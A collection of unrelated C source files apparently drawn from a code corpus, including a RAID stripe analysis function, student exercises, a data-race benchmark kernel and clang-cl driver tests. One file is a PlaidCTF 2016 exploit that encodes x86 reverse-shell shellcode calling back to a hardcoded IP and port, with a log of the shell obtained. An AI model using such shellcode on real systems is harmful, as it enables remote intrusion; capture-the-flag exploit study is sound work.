#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct stripe_head_state {int expanding; int expanded; int* failed_num; int compute; int handle_bad_blocks; int failed; int syncing; int replacing; int /*<<< orphan*/ just_cached; int /*<<< orphan*/ injournal; struct md_rdev* blocked_rdev; int /*<<< orphan*/ written; int /*<<< orphan*/ non_overwrite; int /*<<< orphan*/ to_write; int /*<<< orphan*/ to_read; int /*<<< orphan*/ to_fill; int /*<<< orphan*/ uptodate; int /*<<< orphan*/ locked; int /*<<< orphan*/ log_failed; } ; struct stripe_head {int disks; scalar_t__ sector; int /*<<< orphan*/ state; struct r5dev* dev; int /*<<< orphan*/ batch_head; struct r5conf* raid_conf; } ; struct r5dev {scalar_t__ written; int /*<<< orphan*/ flags; scalar_t__ towrite; scalar_t__ toread; } ; struct r5conf {TYPE_2__* mddev; TYPE_1__* disks; } ; struct md_rdev {scalar_t__ recovery_offset; int /*<<< orphan*/ flags; int /*<<< orphan*/ nr_pending; } ; typedef int /*<<< orphan*/ sector_t ; struct TYPE_4__ {scalar_t__ recovery_cp; int /*<<< orphan*/ recovery; } ; struct TYPE_3__ {int /*<<< orphan*/ replacement; int /*<<< orphan*/ rdev; } ; /* Variables and functions */ int /*<<< orphan*/ BUG_ON (int) ; int /*<<< orphan*/ Blocked ; int /*<<< orphan*/ BlockedBadBlocks ; int /*<<< orphan*/ Faulty ; int /*<<< orphan*/ In_sync ; int /*<<< orphan*/ MD_RECOVERY_REQUESTED ; int /*<<< orphan*/ R5_Expanded ; int /*<<< orphan*/ R5_InJournal ; int /*<<< orphan*/ R5_Insync ; int /*<<< orphan*/ R5_LOCKED ; int /*<<< orphan*/ R5_MadeGood ; int /*<<< orphan*/ R5_MadeGoodRepl ; int /*<<< orphan*/ R5_NeedReplace ; int /*<<< orphan*/ R5_OVERWRITE ; int /*<<< orphan*/ R5_ReWrite ; int /*<<< orphan*/ R5_ReadError ; int /*<<< orphan*/ R5_ReadRepl ; int /*<<< orphan*/ R5_UPTODATE ; int /*<<< orphan*/ R5_Wantcompute ; int /*<<< orphan*/ R5_Wantfill ; int /*<<< orphan*/ R5_WriteError ; int /*<<< orphan*/ STRIPE_BIOFILL_RUN ; int /*<<< orphan*/ STRIPE_EXPAND_READY ; int /*<<< orphan*/ STRIPE_EXPAND_SOURCE ; scalar_t__ STRIPE_SECTORS ; int /*<<< orphan*/ STRIPE_SYNCING ; int /*<<< orphan*/ WriteErrorSeen ; int /*<<< orphan*/ atomic_inc (int /*<<< orphan*/ *) ; int /*<<< orphan*/ clear_bit (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int is_badblock (struct md_rdev*,scalar_t__,scalar_t__,int /*<<< orphan*/ *,int*) ; int /*<<< orphan*/ memset (struct stripe_head_state*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ pr_debug (char*,int,int /*<<< orphan*/ ,scalar_t__,scalar_t__,scalar_t__) ; int /*<<< orphan*/ r5l_log_disk_error (struct r5conf*) ; struct md_rdev* rcu_dereference (int /*<<< orphan*/ ) ; int /*<<< orphan*/ rcu_read_lock () ; int /*<<< orphan*/ rcu_read_unlock () ; int /*<<< orphan*/ set_bit (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; scalar_t__ test_bit (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; __attribute__((used)) static void analyse_stripe(struct stripe_head *sh, struct stripe_head_state *s) { struct r5conf *conf = sh->raid_conf; int disks = sh->disks; struct r5dev *dev; int i; int do_recovery = 0; memset(s, 0, sizeof(*s)); s->expanding = test_bit(STRIPE_EXPAND_SOURCE, &sh->state) && !sh->batch_head; s->expanded = test_bit(STRIPE_EXPAND_READY, &sh->state) && !sh->batch_head; s->failed_num[0] = -1; s->failed_num[1] = -1; s->log_failed = r5l_log_disk_error(conf); /* Now to look around and see what can be done */ rcu_read_lock(); for (i=disks; i--; ) { struct md_rdev *rdev; sector_t first_bad; int bad_sectors; int is_bad = 0; dev = &sh->dev[i]; pr_debug("check %d: state 0x%lx read %p write %p written %p\n", i, dev->flags, dev->toread, dev->towrite, dev->written); /* maybe we can reply to a read * * new wantfill requests are only permitted while * ops_complete_biofill is guaranteed to be inactive */ if (test_bit(R5_UPTODATE, &dev->flags) && dev->toread && !test_bit(STRIPE_BIOFILL_RUN, &sh->state)) set_bit(R5_Wantfill, &dev->flags); /* now count some things */ if (test_bit(R5_LOCKED, &dev->flags)) s->locked++; if (test_bit(R5_UPTODATE, &dev->flags)) s->uptodate++; if (test_bit(R5_Wantcompute, &dev->flags)) { s->compute++; BUG_ON(s->compute > 2); } if (test_bit(R5_Wantfill, &dev->flags)) s->to_fill++; else if (dev->toread) s->to_read++; if (dev->towrite) { s->to_write++; if (!test_bit(R5_OVERWRITE, &dev->flags)) s->non_overwrite++; } if (dev->written) s->written++; /* Prefer to use the replacement for reads, but only * if it is recovered enough and has no bad blocks. */ rdev = rcu_dereference(conf->disks[i].replacement); if (rdev && !test_bit(Faulty, &rdev->flags) && rdev->recovery_offset >= sh->sector + STRIPE_SECTORS && !is_badblock(rdev, sh->sector, STRIPE_SECTORS, &first_bad, &bad_sectors)) set_bit(R5_ReadRepl, &dev->flags); else { if (rdev && !test_bit(Faulty, &rdev->flags)) set_bit(R5_NeedReplace, &dev->flags); else clear_bit(R5_NeedReplace, &dev->flags); rdev = rcu_dereference(conf->disks[i].rdev); clear_bit(R5_ReadRepl, &dev->flags); } if (rdev && test_bit(Faulty, &rdev->flags)) rdev = NULL; if (rdev) { is_bad = is_badblock(rdev, sh->sector, STRIPE_SECTORS, &first_bad, &bad_sectors); if (s->blocked_rdev == NULL && (test_bit(Blocked, &rdev->flags) || is_bad < 0)) { if (is_bad < 0) set_bit(BlockedBadBlocks, &rdev->flags); s->blocked_rdev = rdev; atomic_inc(&rdev->nr_pending); } } clear_bit(R5_Insync, &dev->flags); if (!rdev) /* Not in-sync */; else if (is_bad) { /* also not in-sync */ if (!test_bit(WriteErrorSeen, &rdev->flags) && test_bit(R5_UPTODATE, &dev->flags)) { /* treat as in-sync, but with a read error * which we can now try to correct */ set_bit(R5_Insync, &dev->flags); set_bit(R5_ReadError, &dev->flags); } } else if (test_bit(In_sync, &rdev->flags)) set_bit(R5_Insync, &dev->flags); else if (sh->sector + STRIPE_SECTORS <= rdev->recovery_offset) /* in sync if before recovery_offset */ set_bit(R5_Insync, &dev->flags); else if (test_bit(R5_UPTODATE, &dev->flags) && test_bit(R5_Expanded, &dev->flags)) /* If we've reshaped into here, we assume it is Insync. * We will shortly update recovery_offset to make * it official. */ set_bit(R5_Insync, &dev->flags); if (test_bit(R5_WriteError, &dev->flags)) { /* This flag does not apply to '.replacement' * only to .rdev, so make sure to check that*/ struct md_rdev *rdev2 = rcu_dereference( conf->disks[i].rdev); if (rdev2 == rdev) clear_bit(R5_Insync, &dev->flags); if (rdev2 && !test_bit(Faulty, &rdev2->flags)) { s->handle_bad_blocks = 1; atomic_inc(&rdev2->nr_pending); } else clear_bit(R5_WriteError, &dev->flags); } if (test_bit(R5_MadeGood, &dev->flags)) { /* This flag does not apply to '.replacement' * only to .rdev, so make sure to check that*/ struct md_rdev *rdev2 = rcu_dereference( conf->disks[i].rdev); if (rdev2 && !test_bit(Faulty, &rdev2->flags)) { s->handle_bad_blocks = 1; atomic_inc(&rdev2->nr_pending); } else clear_bit(R5_MadeGood, &dev->flags); } if (test_bit(R5_MadeGoodRepl, &dev->flags)) { struct md_rdev *rdev2 = rcu_dereference( conf->disks[i].replacement); if (rdev2 && !test_bit(Faulty, &rdev2->flags)) { s->handle_bad_blocks = 1; atomic_inc(&rdev2->nr_pending); } else clear_bit(R5_MadeGoodRepl, &dev->flags); } if (!test_bit(R5_Insync, &dev->flags)) { /* The ReadError flag will just be confusing now */ clear_bit(R5_ReadError, &dev->flags); clear_bit(R5_ReWrite, &dev->flags); } if (test_bit(R5_ReadError, &dev->flags)) clear_bit(R5_Insync, &dev->flags); if (!test_bit(R5_Insync, &dev->flags)) { if (s->failed < 2) s->failed_num[s->failed] = i; s->failed++; if (rdev && !test_bit(Faulty, &rdev->flags)) do_recovery = 1; else if (!rdev) { rdev = rcu_dereference( conf->disks[i].replacement); if (rdev && !test_bit(Faulty, &rdev->flags)) do_recovery = 1; } } if (test_bit(R5_InJournal, &dev->flags)) s->injournal++; if (test_bit(R5_InJournal, &dev->flags) && dev->written) s->just_cached++; } if (test_bit(STRIPE_SYNCING, &sh->state)) { /* If there is a failed device being replaced, * we must be recovering. * else if we are after recovery_cp, we must be syncing * else if MD_RECOVERY_REQUESTED is set, we also are syncing. * else we can only be replacing * sync and recovery both need to read all devices, and so * use the same flag. */ if (do_recovery || sh->sector >= conf->mddev->recovery_cp || test_bit(MD_RECOVERY_REQUESTED, &(conf->mddev->recovery))) s->syncing = 1; else s->replacing = 1; } rcu_read_unlock(); }
the_stack_data/82949450.c
__thread int _inside_gc = 0;
the_stack_data/128264218.c
#include <stdio.h> #define SIZE 2 typedef struct Car{ int ano; int codigo; float valor; } typeCar; void ler(typeCar * carros){ int i; for(i=0; i<SIZE; i++){ printf("CARRO %d\n", i+1); printf("DIGITE O ANO\n"); scanf("%d", &carros[i].ano); printf("DIGITE O CODIGO\n"); scanf("%d", &carros[i].codigo); printf("DIGITE O VALOR\n"); scanf("%f", &carros[i].valor); } } void imprimir(typeCar * carros){ int i; for(i=0; i<SIZE; i++){ printf("CARRO %d\n", i+1); printf("ANO : %d\n", carros[i].ano); printf("CODIGO: %d\n", carros[i].codigo); printf("VALOR: %f\n", carros[i].valor); } } int main(){ typeCar carros[SIZE]; ler(carros); imprimir(carros); return 0; }
the_stack_data/1160208.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* A kernel for two level parallelizable loop with reduction if reduction(error) is missing, there is race condition. */ #include <stdio.h> int main(int argc, char* argv[]) { int i,j; float temp, error; int len=100; float u[100][100]; #pragma omp parallel for private (temp,i,j) for (i = 0; i < len; i++) for (j = 0; j < len; j++) { temp = u[i][j]; error = error + temp * temp; } printf ("error = %f\n", error); return 0; }
the_stack_data/247019191.c
/* This is a simple template for a linux userspace probe using the printf on stderr */ #ifndef __DMCE_PROBE_FUNCTION_BODY__ #define __DMCE_PROBE_FUNCTION_BODY__ #include <stdio.h> static void dmce_probe_body(unsigned int probenbr) { fprintf(stderr, "\nDMCE_PROBE(%u)\n ",probenbr); } #endif
the_stack_data/138517.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_print_params.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: dakim <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/08/01 18:51:15 by dakim #+# #+# */ /* Updated: 2018/08/01 18:51:18 by dakim ### ########.fr */ /* */ /* ************************************************************************** */ void ft_putchar(char c); int main(int argc, char **argv) { int i; int j; i = 1; while (i < argc) { j = 0; while (argv[i][j] != '\0') { ft_putchar(argv[i][j]); j++; } i++; ft_putchar('\n'); } return (0); }
the_stack_data/54824167.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2010-2021 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ int my_global_symbol = 42; static int my_static_symbol; int my_global_func () { my_static_symbol = my_global_symbol; my_global_symbol = my_static_symbol + my_global_symbol; return my_global_symbol; } int main () { return my_global_func (); }
the_stack_data/193893233.c
/* For some machines GNU MP needs to define an auxiliary function: udiv_qrnnd (quotient, remainder, high_numerator, low_numerator, denominator) Divides a two-word unsigned integer, composed by the integers HIGH_NUMERATOR and LOW_NUMERATOR, by DENOMINATOR and places the quotient in QUOTIENT and the remainder in REMAINDER. HIGH_NUMERATOR must be less than DENOMINATOR for correct operation. If, in addition, the most significant bit of DENOMINATOR must be 1, then the pre-processor symbol UDIV_NEEDS_NORMALIZATION is defined to 1. */
the_stack_data/70450298.c
// -------------------------------------------------------------------------------------------------- // PlaidCTF 2016 - fixedpoint (Pwn 175) // ------------------------------------------------------------------------------------------------ #include <stdio.h> #include <stdlib.h> #define BYTE_1(x) ( (x) & 0x000000ff) #define BYTE_2(x) (((x) & 0x0000ff00) >> 8) #define BYTE_3(x) (((x) & 0x00ff0000) >> 16) #define BYTE_4(x) (((x) & 0xff000000) >> 24) #define MIN 0x00000000 #define MAX 0x1fffffff union U { // a nice trick to get raw representation of float float f; int d; }; // ------------------------------------------------------------------------------------------------ /* find an float with a given LSB */ void find_float_1( unsigned char x ) { union U u; int i; for( i=MIN; i<MAX; ++i ) { u.f = ((float)i) / 1337.0; /* the 2nd and 3rd byte will be an: jmp +1 which will skip the MSB */ if( BYTE_1(u.d) == x && BYTE_2(u.d) == 0xeb && BYTE_3(u.d) == 0x01 ) { printf( "%d\n", i ); // print it return; // and return } } } // ------------------------------------------------------------------------------------------------ /* find an float with 2 LSB given */ void find_float_2( unsigned char x, unsigned char y, int f ) { union U u; int i, j = 0; // j = counter #2 for( i=MIN; i<MAX; ++i ) { u.f = ((float)i) / 1337.0; if( BYTE_1(u.d) == x && BYTE_2(u.d) == y && BYTE_3(u.d) == 0x40 && BYTE_4(u.d) == 0x48 ) // "dec eax; inc eax" { if( f == -1 || ++j == f ) // if you found i-th valid solution { printf( "%d\n", i ); // print it if( f != -1 ) return; // and return } } } printf( "Error! find_float_2(%x, %x) failed.\n", x, y ); exit(0); } // ------------------------------------------------------------------------------------------------ /* find an float with 2 LSB given, ignoring the 2 MSB */ void find_float_2_any( unsigned char x, unsigned char y ) { union U u; int i; for( i=MIN; i<MAX; ++i ) { u.f = ((float)i) / 1337.0; if( BYTE_1(u.d) == x && BYTE_2(u.d) == y ) { printf( "%d\n", i ); // print it return; // and return } } printf( "Error! find_float_2_any(%x, %x) failed.\n", x, y ); exit(0); } // ------------------------------------------------------------------------------------------------ /* find an float with 3 LSB given */ void find_float_3( unsigned char x, unsigned char y, unsigned char z ) { union U u; int i; for( i=MIN; i<MAX; ++i ) { u.f = ((float)i) / 1337.0; if( BYTE_1(u.d) == x && BYTE_2(u.d) == y && BYTE_3(u.d) == z ) { printf( "%d\n", i ); // print it return; // and return } } printf( "Error! find_float_3(%x, %x, %x) failed.\n", x, y, z ); exit(0); } // ------------------------------------------------------------------------------------------------ /* main function */ int main( int argc, char *argv[] ) { int i; char sc_p1[] = { "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // start with nop to keep offsets "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // consistent "\x68" "\x80\xd3\xbd\x15" // ip: 128.211.189.21 "\x5e\x66\x68" "\x26\x0f" // port: 9743 "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02" "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" }, sc_p2[] = { // shellcode part 2 "\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1" "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x53\xeb\xce" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" }; // ======================================================================== // NOTE: The numbers that returned by find_float_2(), sometimes lose their // precision so it's possible to a value x-1 instead of x. For this reason // we discard the first few solutions. I noticed that the next solutions // do not have this problem. Idk why but it works :) // // Otherwise, we can add +1 so the result will be x-1+1 = x // ======================================================================== find_float_1( 0x90 ); // nop find_float_1( 0x90 ); // nop find_float_1( 0x50 ); // push eax find_float_1( 0x50 ); // push eax find_float_1( 0x5a ); // pop edx find_float_1( 0x5b ); // pop ebx find_float_2( 0xeb+1, 0x72, 1 ); // jmp +70 // ======================================================================== for( i=0; i<14; ++i ) { find_float_2( sc_p1[(i<<2) | 2], sc_p1[(i<<2) | 3], 10 ); find_float_2( sc_p1[(i<<2) | 0], sc_p1[(i<<2) | 1], 10 ); } // ======================================================================== find_float_2( 0xb2+1, 0x1c, 1 ); // mov bl, 0x1c find_float_2( 0x31+1, 0xc9, 1 ); // xor ecx, ecx find_float_2( 0xb1, 14, 10 ); // mov cl, 14 find_float_3( 0x66, 0xff, 0x33 ); // push word ptr [ebx] find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_3( 0x66, 0xff, 0x33 ); // push word ptr [ebx] find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x5d ); // pop ebp find_float_2( 0x89, 0x2a, 10 ); // mov dword ptr [edx], ebp find_float_1( 0x42 ); // inc edx find_float_1( 0x42 ); // inc edx find_float_1( 0x42 ); // inc edx find_float_1( 0x42 ); // inc edx find_float_2( 0xe2, (0xF7FD0090-0xF7FD00D2) & 0xff, 8 ); // loop "back" find_float_1( 0x90 ); // nop find_float_1( 0x90 ); // nop // ======================================================================== find_float_2( 0xb3, 0xec, 10 ); // mov bl, 0xec find_float_2( 0xeb+1, 0x72, 1 ); // jmp +70 for( i=0; i<14; i++ ) { find_float_2( sc_p2[(i<<2) | 2], sc_p2[(i<<2) | 3], 10 ); find_float_2( sc_p2[(i<<2) | 0], sc_p2[(i<<2) | 1], 10 ); } // ======================================================================== find_float_2( 0x31+1, 0xc9, 1 ); // xor ecx, ecx find_float_2( 0xb1, 14, 10 ); // mov cl, 14 find_float_3( 0x66, 0xff, 0x33 ); // push word ptr [ebx] find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_3( 0x66, 0xff, 0x33 ); // push word ptr [ebx] find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x43 ); // inc ebx find_float_1( 0x5d ); // pop ebp find_float_2( 0x89, 0x2a, 10 ); // mov dword ptr [edx], ebp find_float_1( 0x42 ); // inc edx find_float_1( 0x42 ); // inc edx find_float_1( 0x42 ); // inc edx find_float_1( 0x42 ); // inc edx find_float_2( 0xe2, (0xF7FD0090-0xF7FD00D2) & 0xff, 8 ); // loop "back" find_float_1( 0x90 ); // nop find_float_1( 0x90 ); // nop // ======================================================================== find_float_2( 0xff, 0xe0, 1 ); // jmp eax return 0; } // ------------------------------------------------------------------------------------------------ /* Terminal #1: root@nogirl:~/ctf/plaidctf# gcc fixedpoint_expl.c -o fxp && ./fxp > B root@nogirl:~/ctf/plaidctf# cat B | nc fixedpoint.pwning.xxx 7777 ^C (connection will open once you terminate netcat) Terminal #2: root@nogirl:~# nc -nvvl -p9743 listening on [any] 9743 ... connect to [128.211.189.21] from (UNKNOWN) [13.90.215.254] 45300 ls -la total 24 drwxr-xr-x 2 root root 4096 Apr 17 02:08 . drwxr-xr-x 4 root root 4096 Apr 17 01:40 .. -rwxr-xr-x 1 root root 7424 Apr 17 01:40 fixedpoint_02dc03c8a5ae299cf64c63ebab78fec7 -rw-r--r-- 1 root root 36 Apr 17 01:41 flag.txt -rwxr-xr-x 1 root root 268 Apr 17 02:01 wrapper id uid=1001(problem) gid=1001(problem) groups=1001(problem) cat flag.txt PCTF{why_isnt_IEEE_754_IEEE_7.54e2} exit sent 28, rcvd 373 */ // ------------------------------------------------------------------------------------------------
the_stack_data/152206.c
// To calculate successive fibonacci number #include<stdio.h> long int fibonacci(int count); int main() { int count; auto n; printf("How many fibonacci numbers?="); scanf("%d",&n); printf("\n"); for(count=1;count<=n;++count) printf("\n i=%2d\tF=%ld",count ,fibonacci(count)); getch(); } long int fibonacci(int count) { static long int f1=1, f2=1, f; //use of static variables f=(count<3)?1:f1+f2; f2=f1; f1=f; return (f); }
the_stack_data/988327.c
// Note: %s must be preceded by --, otherwise it may be interpreted as a // command-line option, e.g. on Mac where %s is commonly under /Users. // Alias options: // RUN: %clang_cl /c -### -- %s 2>&1 | FileCheck -check-prefix=c %s // c: -c // RUN: %clang_cl /C -### -- %s 2>&1 | FileCheck -check-prefix=C %s // C: error: invalid argument '-C' only allowed with '/E, /P or /EP' // RUN: %clang_cl /C /P -### -- %s 2>&1 | FileCheck -check-prefix=C_P %s // C_P: "-E" // C_P: "-C" // RUN: %clang_cl /d1reportAllClassLayout -### -- %s 2>&1 | FileCheck -check-prefix=d1reportAllClassLayout %s // d1reportAllClassLayout: -fdump-record-layouts // RUN: %clang_cl /Dfoo=bar /D bar=baz /DMYDEF#value /DMYDEF2=foo#bar /DMYDEF3#a=b /DMYDEF4# \ // RUN: -### -- %s 2>&1 | FileCheck -check-prefix=D %s // D: "-D" "foo=bar" // D: "-D" "bar=baz" // D: "-D" "MYDEF=value" // D: "-D" "MYDEF2=foo#bar" // D: "-D" "MYDEF3=a=b" // D: "-D" "MYDEF4=" // RUN: %clang_cl /E -### -- %s 2>&1 | FileCheck -check-prefix=E %s // E: "-E" // E: "-o" "-" // RUN: %clang_cl /EP -### -- %s 2>&1 | FileCheck -check-prefix=EP %s // EP: "-E" // EP: "-P" // EP: "-o" "-" // RUN: %clang_cl /fp:fast /fp:except -### -- %s 2>&1 | FileCheck -check-prefix=fpexcept %s // fpexcept-NOT: -menable-unsafe-fp-math // RUN: %clang_cl /fp:fast /fp:except /fp:except- -### -- %s 2>&1 | FileCheck -check-prefix=fpexcept_ %s // fpexcept_: -menable-unsafe-fp-math // RUN: %clang_cl /fp:precise /fp:fast -### -- %s 2>&1 | FileCheck -check-prefix=fpfast %s // fpfast: -menable-unsafe-fp-math // fpfast: -ffast-math // RUN: %clang_cl /fp:fast /fp:precise -### -- %s 2>&1 | FileCheck -check-prefix=fpprecise %s // fpprecise-NOT: -menable-unsafe-fp-math // fpprecise-NOT: -ffast-math // RUN: %clang_cl /fp:fast /fp:strict -### -- %s 2>&1 | FileCheck -check-prefix=fpstrict %s // fpstrict-NOT: -menable-unsafe-fp-math // fpstrict-NOT: -ffast-math // RUN: %clang_cl /Z7 -gcolumn-info -### -- %s 2>&1 | FileCheck -check-prefix=gcolumn %s // gcolumn: -dwarf-column-info // RUN: %clang_cl /Z7 -gno-column-info -### -- %s 2>&1 | FileCheck -check-prefix=gnocolumn %s // gnocolumn-NOT: -dwarf-column-info // RUN: %clang_cl /Z7 -### -- %s 2>&1 | FileCheck -check-prefix=gdefcolumn %s // gdefcolumn-NOT: -dwarf-column-info // RUN: %clang_cl -### /FA -fprofile-instr-generate -- %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-INSTR-GENERATE %s // RUN: %clang_cl -### /FA -fprofile-instr-generate=/tmp/somefile.profraw -- %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-INSTR-GENERATE-FILE %s // CHECK-PROFILE-INSTR-GENERATE: "-fprofile-instrument=clang" "--dependent-lib={{[^"]*}}clang_rt.profile-{{[^"]*}}.lib" // CHECK-PROFILE-INSTR-GENERATE-FILE: "-fprofile-instrument-path=/tmp/somefile.profraw" // RUN: %clang_cl -### /FA -fprofile-generate -- %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-GENERATE %s // CHECK-PROFILE-GENERATE: "-fprofile-instrument=llvm" "--dependent-lib={{[^"]*}}clang_rt.profile-{{[^"]*}}.lib" // RUN: %clang_cl -### /FA -fprofile-instr-generate -fprofile-instr-use -- %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang_cl -### /FA -fprofile-instr-generate -fprofile-instr-use=file -- %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // CHECK-NO-MIX-GEN-USE: '{{[a-z=-]*}}' not allowed with '{{[a-z=-]*}}' // RUN: %clang_cl -### /FA -fprofile-instr-use -- %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-USE %s // RUN: %clang_cl -### /FA -fprofile-instr-use=/tmp/somefile.prof -- %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-USE-FILE %s // CHECK-PROFILE-USE: "-fprofile-instrument-use-path=default.profdata" // CHECK-PROFILE-USE-FILE: "-fprofile-instrument-use-path=/tmp/somefile.prof" // RUN: %clang_cl /GA -### -- %s 2>&1 | FileCheck -check-prefix=GA %s // GA: -ftls-model=local-exec // RTTI is on by default; just check that we don't error. // RUN: %clang_cl /Zs /GR -- %s 2>&1 // RUN: %clang_cl /GR- -### -- %s 2>&1 | FileCheck -check-prefix=GR_ %s // GR_: -fno-rtti // Security Buffer Check is on by default. // RUN: %clang_cl -### -- %s 2>&1 | FileCheck -check-prefix=GS-default %s // GS-default: "-stack-protector" "2" // RUN: %clang_cl /GS -### -- %s 2>&1 | FileCheck -check-prefix=GS %s // GS: "-stack-protector" "2" // RUN: %clang_cl /GS- -### -- %s 2>&1 | FileCheck -check-prefix=GS_ %s // GS_-NOT: -stack-protector // RUN: %clang_cl /Gy -### -- %s 2>&1 | FileCheck -check-prefix=Gy %s // Gy: -ffunction-sections // RUN: %clang_cl /Gy /Gy- -### -- %s 2>&1 | FileCheck -check-prefix=Gy_ %s // Gy_-NOT: -ffunction-sections // RUN: %clang_cl /Gs -### -- %s 2>&1 | FileCheck -check-prefix=Gs %s // Gs: "-mstack-probe-size=4096" // RUN: %clang_cl /Gs0 -### -- %s 2>&1 | FileCheck -check-prefix=Gs0 %s // Gs0: "-mstack-probe-size=0" // RUN: %clang_cl /Gs4096 -### -- %s 2>&1 | FileCheck -check-prefix=Gs4096 %s // Gs4096: "-mstack-probe-size=4096" // RUN: %clang_cl /Gw -### -- %s 2>&1 | FileCheck -check-prefix=Gw %s // Gw: -fdata-sections // RUN: %clang_cl /Gw /Gw- -### -- %s 2>&1 | FileCheck -check-prefix=Gw_ %s // Gw_-NOT: -fdata-sections // RUN: %clang_cl /Imyincludedir -### -- %s 2>&1 | FileCheck -check-prefix=SLASH_I %s // RUN: %clang_cl /I myincludedir -### -- %s 2>&1 | FileCheck -check-prefix=SLASH_I %s // SLASH_I: "-I" "myincludedir" // RUN: %clang_cl /imsvcmyincludedir -### -- %s 2>&1 | FileCheck -check-prefix=SLASH_imsvc %s // RUN: %clang_cl /imsvc myincludedir -### -- %s 2>&1 | FileCheck -check-prefix=SLASH_imsvc %s // Clang's resource header directory should be first: // SLASH_imsvc: "-internal-isystem" "{{[^"]*}}lib{{(64)?/|\\\\}}clang{{[^"]*}}include" // SLASH_imsvc: "-internal-isystem" "myincludedir" // RUN: %clang_cl /J -### -- %s 2>&1 | FileCheck -check-prefix=J %s // J: -fno-signed-char // RUN: %clang_cl /Ofoo -### -- %s 2>&1 | FileCheck -check-prefix=O %s // O: /Ofoo // RUN: %clang_cl /Ob0 -### -- %s 2>&1 | FileCheck -check-prefix=Ob0 %s // Ob0: -fno-inline // RUN: %clang_cl /Ob2 -### -- %s 2>&1 | FileCheck -check-prefix=Ob2 %s // RUN: %clang_cl /Odb2 -### -- %s 2>&1 | FileCheck 